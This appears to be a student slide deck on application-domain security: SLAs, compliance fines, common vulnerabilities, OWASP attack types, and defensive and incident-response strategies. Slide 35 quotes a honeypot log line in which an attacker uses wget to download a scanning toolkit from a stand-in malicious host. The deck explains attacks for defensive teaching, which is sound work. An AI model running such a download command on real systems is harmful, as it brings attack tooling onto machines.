Birlin, Bonds, Ramani and Reeds

1. Birlin, Bonds, Ramani and Reeds

2. What is the System-Application Domain? The system/application domain consists of all of a business’s mission-critical systems, applications, and data. It is important to ensure that this domain is secure at all times, otherwise a business could easily lose large amounts of sensitive information as well as face the threat of having productivity come to a halt. Common targeted systems and applications are operating systems (desktop, server, and network), e-mail applications and servers, Enterprise Resource Planning (ERP) applications and systems, and web browsers.

3. Service Level Agreement

4. Confidentiality • Confidentiality: A requirement that private or confidential information not be disclosed to unauthorized individual. • This issues related to this are: • Network security protocols • Network authentication services • Data encryption services

5. Risks of Confidentiality SLA Not Hit • HIPAA FinesSox Violations • Users will lose confidence that their data is not secure. • Loss of customers. • Supply Chain Risk

6. Integrity • Integrity: Data integrity is a requirement that information and programs are changed only in a specified and authorized manner. System integrity is a requirement that a system performs its intended function in an unimpaired manner, free from deliberate or inadvertent unauthorized manipulation of the system. Issues related to this are: • Firewall services • Communications security management • Intrusion detection services

7. Risks of Integrity SLA Metrics not hit • Data Corruption • Unsure of good points to roll back to. • Loss of confidence in users and customers • Possible HIPAA or Sox Fines. • Users may not see accurate data, much less believe the data!

8. Availability • Availability: A requirement intended to ensure that systems work promptly and service is not denied to authorized users. • Typically, non critical applications should stay available 99.5% of the time, and critical are 99.9%. • Critical apps typically are: • Supply Chain • HR • Accounting

9. Availability Continued • Issues related to availability are: • Fault tolerance for data availability (back-ups, redundant disk systems) • Acceptable log-ins and operating process performance • Reliable and interoperable security processes and network security mechanisms3

10. Risks should Availability SLA not • Workers are not able to complete their tasks in a timely manner. • Loss of confidence from customers and users. • Calls and services abandoned by users. • Users and Customers will find a provider that can meet their SLA Requirements!

11. HIPAA Fines

12. Sox Fines • Up to 20 years prison Time. • Fines from $100k to $5M.

13. Vulnerabilities • physical environment of the system • the personnel • management • administration procedures and security measures within the organization • business operation and service delivery • hardware • software • communication equipment and facilities • and their combinations.

14. Unauthorized Access • Surveillance Cameras not installed in server rooms to deter unauthorized access. • Application and Database servers not placed in a server room which is secured by key pad or lock. • Hardware loggers • Application Servers sitting under people’s desks!

15. Improper User Downloads of FOSS Software to their machines • Employees who improperly download software to their machines run the risk of installing malware with it. • Employee machines should not be issued with employee rights so that they can install unauthorized software. • Employee’s machines installs can be monitored using a tool such as Eracent.

16. Improper Role Setup • There is a tendency to grant too much rights to users. • Default should not be an administrator, but a lesser set of roles.

17. Improper Data Security Setup • Systems administrators do not set up firewalls, servers, databases and OS software properly to prevent attacks. • The reason is that additional security protocols adds a higher level of rigor in day to day operations.

18. Improper Application Design • Sensitive Folders use common names, such as Admin. Tells your attacker exactly where to look. • Sadly, many recommendation guidelines tell your user to do exactly this! • Improper Folder setup, allowing your attacker to browse the contents of your site. • Improper setup of error handling, giving a stack trace of your code to the outside user when exceptions thrown.

19. Remote Code Executition • As the name suggests, this vulnerability allows an attacker to run arbitrary, system level code on the vulnerable server and retrieve any desired information contained therein. Improper coding errors lead to this vulnerability. • Products which had this: phpbb, Invision Board, Cpanel, Paypal cart, Drupal, and many others

20. More Vulnerabilities • Default Configuration of many sites are setup in a way that users of the site have full privileges! • Sensitive Data is commonly exposed to the outside world. • Software not kept up to date.

21. Lazy Patching • Some server admins are not vigililent in ensuring the latest versions of application software are installed on desktops. • Last year saw some particularly attacks through Java, Acrobat and Flash. These attacks could have been prevented by proper patching.

22. Back Door Access to Reports • There are a multitude of add ons for your web applications, however web administrators do not properly lock down these user based reports. • Worldwide, 170K Awstats reports are available. • ELMAH Error handling can be found by good attackers which give full stack traces!

23. Attacks • Application Domain is a high risk domain now. • Improper and lax security techniques plus high reward targets means risks will continue through the future • Users with low knowledge base also means attackers have ripe opportunities there also.

24. OWASP Top 10 • Nonprofit organization not attached to any software company. • Releases a list of top 10 security threats on an annual basis, for both desktop and mobile platforms. • Core Purpose: Be the thriving global community that drives visibility and evolution in the safety and security of the world’s software.

25. Injection Attack • Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by an attacker to introduce (or "inject") code into a computer program to change the course of execution. The results of a code injection attack can be disastrous. For instance, code injection is used by some computer worms to propagate. • SQL, LDAP and OS Injection still rank as the #1 threat per OWASP.

26. Cross Site Scripting • Allows attackers to inject javascript code into your hosted page, thus executing malware on your own site. • Textboxes are where this code can be inserted. Data saved into the database can then be used against other users of the site. In other words, I’m hosting my own malware! • 84% of all security vulnerabilities as documented by Symantec

27. Cross Site Scripting Injection Attack • https://www.youtube.com/watch?v=qO3iwAxkPxE

28. SQL Injection Attack

29. SQL Injection Attack explained • https://www.youtube.com/watch?v=FwIUkAwKzG8

30. Authentication and Session Management Attack • Allows attackers to compromise session tokens, keys to assume other user’s identities. • If the session ID is compromised, attackers can impersonate other users on the system.

31. Phising Scam • Phishing is a way of attempting to acquire information such as usernames, passwords, and credit card details by masquerading as a trustworthy entity in an electronic communication. • Spear phishing Phishing attempts directed at specific individuals or companies have been termed spearphishing.[35] Attackers may gather personal information about their target to increase their probability of success. • Clone phishing A type of phishing attack whereby a legitimate, and previously delivered, email containing an attachment or link has had its content and recipient address(es) taken and used to create an almost identical or cloned email. The attachment or Link within the email is replaced with a malicious version and then sent from an email address spoofed to appear to come from the original sender. It may claim to be a resend of the original or an updated version to the original. This technique could be used to pivot (indirectly) from a previously infected machine and gain a foothold on another machine, by exploiting the social trust associated with the inferred connection due to both parties receiving the original email. • Whaling Several recent phishing attacks have been directed specifically at senior executives and other high profile targets within businesses, and the term whaling has been coined for these kinds of attacks

32. Website Defacing • The motivation behind defacing websites is to obtain peer recognition in the attacker’s community. • Also, used by politically motivated hacktivists or cyber protestors • Usually done by SQL Injector or Compromised FTP

33. Denial of Service Attack • Much more difficult to defend against. • Typically has to do with loss of reputation in the community at large which causes these types of attacks.

34. Search Based Attack Strategy • PHPShell is a PHP script which allows shell commands to be executed on a web server. Typically the PHPShell script is protected by a password so only the server administrator can access it. We deployed honeypots that advertise an unrestricted PHPShell application, which attackers often tried to exploit.

35. Scanning Tools • Among other tools, attackers commonly downloaded and attempted to use a variant of pscan. Pscan is an efficient port scanner that can discover hosts which are listening on a particular port. Typically, the attacker would run the tool, obtain a list of hosts with the port open and then proceed to run an exploit tool against the list of hosts. • Date: 2006-09-09 12:20:40 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1Command: wget http://evil.example.com/linux/fast.tgz • Port Scans are commonly run. Common ports to open are typically scanned, like 80, 8080, 8081.

36. Threat Remediation • What is our defense strategy if we are attacked? • How are we preparing to prevent an attack? • Who is engaged in the defense of our company?

37. Application Code Scans • Application Scanning Tools: Code analysis can be done using a tool such as HP Fortify. • Simulated Attacks: Allows all attacks to be performed on the site using a tool such as HP WebInspect.

38. Input Validation • First rule- NEVER TRUST YOUR USERS. • Validation Techniques from MS Stack • Date Range • Custom Validation • Numeric Range Validation • Regular Expression Validation • Comparison Validation

39. HTTP Encoding • String encoding of data before it goes to the server. Otherwise known as sanitizing your inputs. • Antixss for the MS Stack and AntiSami for the Java domain • Data from the web: I'm here to stay! • Encoded: I%27m%20here%20to%20stay!

40. Proper Encryption Techniques • PII Should always be encrypted in the database. • Credit Card Information should always be encrypted. • SSL Should be used for all sensitive communications between your server and user. • Proper VPN Tunnels should be set up for remote users

41. Cyber Operations Center • A security department should be implemented which monitors all incoming and outgoing traffic. • Monitors all traffic to the enterprise • Should be a vigilant process instead of addressing attacks (no more whack a mole)

42. Proper Audit Trails • Users that are logged into the website should have some sort of audit trail on their actions, as to determine the history of these users. • Database log of inserts, adds and deletes allows us to track malicious activity by insiders. • ELMAH Audit trail allows us to provide error logging hidden from the user.

43. Enterprise Wide Response Strategy • Be ready to force enterprise wide password changes should an attacker obtain elevated privileges. • Isolate the environment from the Internet. • Block egress traffic to known malicious C2 IP addresses and domains. • Block dynamic DNS providers. • Rebuild or replace compromised systems.

44. Ensure Proper Security Training • Do employees know what to do if their machines are compromised? • Do employees know how to tell good emails from bad ones? • Do employees know what to do with suspicious emails?

45. Proper Usage Guidelines • Define computers, e-mail, Internet, and so on as broadly as possible, with specifics given, but not limited to such specifics • Remind employees that not only job loss, but also civil liability and criminal prosecution may result from certain actions (illegal pornography, participation in spamming operations or other scams, involvement in computer hacking (see 18 U.S.C. § 1030, among other laws)) • Company needs to reserve the right to monitor all computer usage at all times for compliance with the policy • Right to inspect an employee's computer, HD, floppy disks, and other media at any time • Right to withdraw access to computers, Internet, e-mail if needed • Consider prohibiting camera phones (also called cell phone cameras); such phones have been implicated in gross invasions of other employees' privacy and in theft of company secrets • Make sure employees know they have no reasonable expectation of privacy in their use of the company's electronic resources, since it is all company property and to be used only for job-related purposes

46. Crisis Management • So our company’s assets have been compromised. What’s next? • The best line of defense is having a response strategy in place, from compromised assets to whole system loss.

47. Response Strategy for Integrity • 1. Identify the last known time our system’s data was stable. • 2. Pull the data back ups from that time, whether it be on disk or by tape. • 3. Restore the data to the last known good data point. • Notify customers and users through out the process of the data loss. • Self-Report to authorities of possible HIPAA or Sox Violations.

48. Response Strategy for Confidentiality • Notify customer immediately of breach, and possible data leakage, and advise them to change their passwords. • Identify the source of the breach, through system logs, network logs and data logs. • Notify authorities and press of the breach to stay in front of the situation.

49. Response Strategy for Availability • Identify the source of the system outage. • Acquire proper backups of systems to stand up in a different physical location. Restore our systems to new servers if need be. • Blackhole DNS attacks to spoofed IP Address.

50. Questions?